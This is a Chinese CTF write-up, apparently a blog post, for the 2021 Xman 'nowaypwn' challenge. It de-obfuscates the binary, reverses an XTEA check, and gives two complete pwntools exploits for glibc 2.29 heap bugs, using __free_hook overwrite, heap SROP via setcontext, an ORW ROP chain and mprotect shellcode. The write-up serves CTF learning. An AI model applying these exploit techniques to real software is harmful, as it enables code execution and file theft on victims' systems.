2021 Xman 排位赛 pwn nowaypwn

学了不少东西。

在这里插入图片描述

在这里插入图片描述刚开始IDA反编译程序只有这么一点,一共三个函数。
看了看之后很快发现了不对。

在这里插入图片描述旁边显然有一堆函数没有用到。

main函数下面显然也有一堆飘红。
在这里插入图片描述所以肯定作者做了混淆,那怎么改回来?

我们找到一处飘红。用这个来举例。
在这里插入图片描述显然因为retn,后面的程序没法用了。

那我们尝试把retn给nop掉。
在这里插入图片描述然后找到这个函数

在这里插入图片描述
其实这是里面那个加密函数
可以先看看加密函数现在的样子。
在这里插入图片描述然后我们继续跑到这个函数这里,按U转换为未定义。
在这里插入图片描述
再按C转换为代码。

在这里插入图片描述
最后在这里分析函数。按P
最后你跑到这个函数,会发现变成了这个样子
在这里插入图片描述这才是函数本来的样子。

其他地方也是相同的做法,在main函数后面还有一个这样的混淆。
一会在首位函数也有一个这样的东西。

所以我们看看我们nop好之后的程序原原本本什么样子。

main
在这里插入图片描述
主程序下面多了一个菜单堆。

在这里插入图片描述
c54函数是开了沙箱。
下面要求我们输入正确的秘密才能跳出循环。

我们去看判断条件。
在这里插入图片描述输入的进行加密,要求前八个字节长这样。

加密算法就是我们刚刚实例,反混淆回来的。
在这里插入图片描述最后研究半天,官方说是tea加密,但是我感觉是xtea。

分开来看。
tea加密。
以为很难,但是说来很简单。
内容8字节一组,密钥16字节一组。

加密算法

#include<stdio.h>
void encode(unsigned int* v,unsigned int *k)
{
    unsigned int l=v[0],r=v[1];
    unsigned int k0=k[0],k1=k[1],k2=k[2],k3=k[3];
    unsigned int delta=0x9e3779b9;
    int i;
    unsigned int sum=0;
    for(i=0;i<32;i++)          //核心加密算法,建议32轮,最低16轮
    {
        sum+=delta;
        l+=((r<<4)+k0)^(r+sum)^((r>>5)+k1);     //r<<4/r*16
        r+=((l<<4)+k2)^(l+sum)^((l>>5)+k3);
    }
    v[0]=l;
    v[1]=r;
}
int main()
{
    unsigned int a[2]={1,2}; //明文,必须是8字节的倍数,不够需要程序补全,参考base64方法
    unsigned int k[4]={2,2,3,4};//密钥随便
    encode(a,k);
    printf("%d %d",a[0],a[1]);
}

就是根据一个delta值,每四个一组,然后循环起来。

解密算法就是直接倒过来就可以了。

  uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  //由加密轮数而算出
    uint32_t delta=0x9e3779b9;                     
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 
    for (i=0; i<32; i++) {                                    //核心解密算法
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                           
    v[0]=v0; v[1]=v1;

xtea是tea的升级版,增加了更多的密钥表,移位和异或操作等等

#include <stdio.h>
#include <stdint.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
int main()
{
    uint32_t v[2]={1,2};
    uint32_t const k[4]={2,2,3,4};
    unsigned int r=32;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("加密前原始数据:%u %u\n",v[0],v[1]);
    encipher(r, v, k);
    printf("加密后的数据:%u %u\n",v[0],v[1]);
    decipher(r, v, k);
    printf("解密后的数据:%u %u\n",v[0],v[1]);
    return 0;
}

当然还有xxtea,就不谈了。

所以我们很明显发现,程序长的明明跟xtea最像。

当然我们看程序是减去一个delta,转换过来发现还是标准的xtea的delta值
在这里插入图片描述
所以程序就是一个32轮的标准xtea,换一下delta值,再来16轮。

怎么倒回来解密呢?就把程序加变减,顺序缓缓就好了。

#include <iostream>

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

int main(int argc, char** argv) {
  unsigned int a1[2];  
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  unsigned int v4; // [rsp+18h] [rbp-38h]
  unsigned int v5; // [rsp+18h] [rbp-38h]
  unsigned int v6; // [rsp+1Ch] [rbp-34h]
  unsigned int v7; // [rsp+1Ch] [rbp-34h]
  unsigned int v8; // [rsp+20h] [rbp-30h]
  unsigned int v9; // [rsp+20h] [rbp-30h]
  unsigned int v10; // [rsp+24h] [rbp-2Ch]
  unsigned int v11; // [rsp+28h] [rbp-28h]
  int v12[6]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]
  a1[0]=0x105d191e;
  //a1[0]=2587752597;
  a1[1]=0x98e870c8;
  //a1[1]=2997038967;
  v10 = *a1;
  v11 = a1[1];
  v12[0] = 674697780;
  v12[1] = 422065475;
  v12[2] = 423118625;
  v12[3] = -1741216238;
  v4 = *a1;
  v6 = a1[1];
  v8 = 3337565984;
  for ( i = 0; i <= 31; ++i )
  {
   v6 -= (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
    v8 += 1640531527;
    v4 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
  }
  *a1 = v4;
  a1[1] = v6;
  v5 = v10;
  v7 = v11;
  v9 = 1559835033;
  for ( j = 0; j <= 16; ++j )
  {
   v7 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
    v9 -= 344400137;
    v5 -= (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
  }
  *a1 = v5;
  a1[1] = v7;
  printf("%x %x",a1[0],a1[1]);
}

在这里插入图片描述
因为是小端序,所以我们四个字节一组,一个字节一个字节倒过来,发现了secret是useless!

在这里插入图片描述
敲了回车没反应,就对了,因为下面菜单部分没有输出的。

至此就完成了题目的前面一小部分。
下面去看堆题。

首先说开了沙箱,看看白名单。
在这里插入图片描述
就ban了execve。

功能4是add
在这里插入图片描述最多17个chunk,大小不能超过0x200,地址都在bss上。

功能3是delete
在这里插入图片描述放置了double free 跟uaf。

功能1是edit
在这里插入图片描述有个莫名其妙的E2D函数。
在这里插入图片描述他就是一直循环,直到碰到0跟0x11,碰到0x11就把他变成0.

所以会造成一个off by null的漏洞。

功能2是show
在这里插入图片描述show函数只输出八个字节,而且是分开的,我们看一下那个函数。

在这里插入图片描述是个方程,还循环了两次。
解方程我们还得用到z3.

然后我就发现,这个题目剩下的堆的部分跟强网杯的那道babypwn一摸一样,漏洞也好,这个方程也好,长得一摸一样……
2021强网杯 pwn babypwn

可以去看看,z3的用法也在里面。
exp稍微改改就好了。

但是呢,这道题当时是没给libc的,估计他用的是2.27,但是本着学习的态度,想着用libc2.29来做一下。
为啥要用2.29呢,首先我们总结一下那道强网杯2.27的两种做法。

第一种是unlink,申请三个chunk,第一个chunk伪造,第二个chunk来free。
在堆里面做unlink,来造成tcache posining。
第二种就是我们的house of ein。通过overlap,来泄露libc,再攻击free_hook啥的。

2.29之后,首先unlink多了一条检查。
在这里插入图片描述这导致我们的house of ein直接消失,所以我们只能用unlink去做。

第二个问题是啥
2.29之后,setcontext从rdi寻址改成了rdx寻址,这导致我们对setcontext的利用需要做出一定的改变。

当然2.29之后还会有细微的改变,说白了就是从setcontext + 53变成了setcontext + 61.

我们现在来看一下在2.29的环境下怎么去利用setcontext。

首先看一下setcontext在2.29下面长这样
是rdx寻址,我们在2.27中,因为是rdi寻址,所以直接payload写在要free的chunk,然后free过去先执行free_hook的setcontext,因为rdi指向chunk,直接就可以控制,但是2.29的rdx就不好使了。

所以我们解决的方法是找一个合适的gadget来解决这个问题。
我们在free_hook的地方放上这个gadget

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

然后在要free的 [chunkptr+8]+0x20 的位置填上 setcontext+53。

这个gadget通过

ropper --file libc.so.6 --search “mov rdx”

来找
在这里插入图片描述插一句这个ropper的安装装我老半天,网上的教程个个不靠谱。然后我就简单的现身说法。
Ubuntu ropper的安装与使用

那我们回来说用这个gadget达到了一个什么效果。
我们free一个chunk,在这个chunk+8的地方事先写个地址,这个地址+0x20的地方放着setcontext + 53的地址,然后先走free_hook,rdx变成chunk+8的地址,然后call rdx+0x20,也就是我们的setcontext,最后根据rdx,做一个SROP。当然需要始先把SROP的东西写好。

要额外插一句,这个setcontext是干嘛的,我们还记得SROP,在sigreturn返回的时候,我们调用了系统调用,就会跑一段程序,那一段程序就是这个setcontext,所以我们的这个方法又叫堆srop。

那么所以我们写exp的时候其实可以用pwntools的srop模板。
强网杯那道没用,当时还没反应过来可以用……

在我们利用堆SROP的过程中,其实也可以有很多姿势。
我们可以用传统的orw。
但是可以看到这个题目其实在沙箱上面只ban了execve,而不是只允许用orw,所以还可以给出一种布置shellcode的写法。

首先是传统的orw。
通过堆SROP,读入rop,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200

frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']

str_frame = str(frame)
print str_frame
print len(str_frame)

pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#这里如果直接用syscall会被前面那一堆乱七八糟把参数改掉,所以要直接用syscall

poc = './flag\x00\x00'

poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)

poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)

poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)


edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+'\n')

dele(1)

p.sendline(poc)

p.interactive()

下面的是shellcode。
他是通过srop,将free_hook所在的那一页,权限改成rwx。
然后通过shellcode1读入一段更长的shellcode2,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

#-------------------堆SROP--------------------
magic_gadget = libc_base + 0x150550

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000

    mov eax,0
    syscall

    jmp rsi
    ''' % new_addr

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']

shellcode2 = '''
    mov rax, 0x67616c662f2e ;// ./flag
    push rax

    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall

    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
    '''

str_frame = str(frame)
print str_frame
print len(str_frame)
#---------------------------准备完毕---------------------------------

edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcode1)+'\n')


dele(1)

p.sendline(asm(shellcode2))

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值